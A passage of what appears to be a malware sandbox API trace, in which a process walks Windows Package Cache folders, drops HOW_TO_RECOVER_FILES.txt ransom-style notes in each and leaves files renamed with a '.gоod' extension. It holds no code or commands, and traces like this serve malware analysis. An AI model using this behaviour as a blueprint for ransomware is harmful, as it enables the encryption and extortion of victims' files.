hTemplateFile=0x0) returned 0x644 [0143.304] GetFileType (hFile=0x644) returned 0x1 [0143.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0143.304] GetFileType (hFile=0x644) returned 0x1 [0143.409] WriteFile (in: hFile=0x644, lpBuffer=0x34935e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34935e8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.412] CloseHandle (hObject=0x644) returned 1 [0143.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.412] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0143.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bde7c80, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.413] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bde7c80, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfb17ab, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2bfb17ab, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2b86431f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x710b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0143.414] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.414] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.414] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0143.414] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bffdf40, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.415] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bffdf40, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.415] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfb17ab, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2bfb17ab, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bffdf40, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.416] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2b86431f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0143.416] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x710b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0143.416] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x710b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 0 [0143.416] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.416] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0143.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0143.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.418] GetFileType (hFile=0x644) returned 0x1 [0143.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0143.418] GetFileType (hFile=0x644) returned 0x1 [0143.419] WriteFile (in: hFile=0x644, lpBuffer=0x34ef250*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34ef250*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.421] CloseHandle (hObject=0x644) returned 1 [0143.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.421] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpFilePart=0x0) returned 0x53 [0143.421] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.421] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0143.422] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.422] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpFilePart=0x0) returned 0x53 [0143.422] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.423] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.423] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.441] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.441] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0143.442] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.442] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.442] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.442] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.442] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0143.442] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.443] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0143.443] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.443] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.443] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.444] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0143.444] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.444] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, 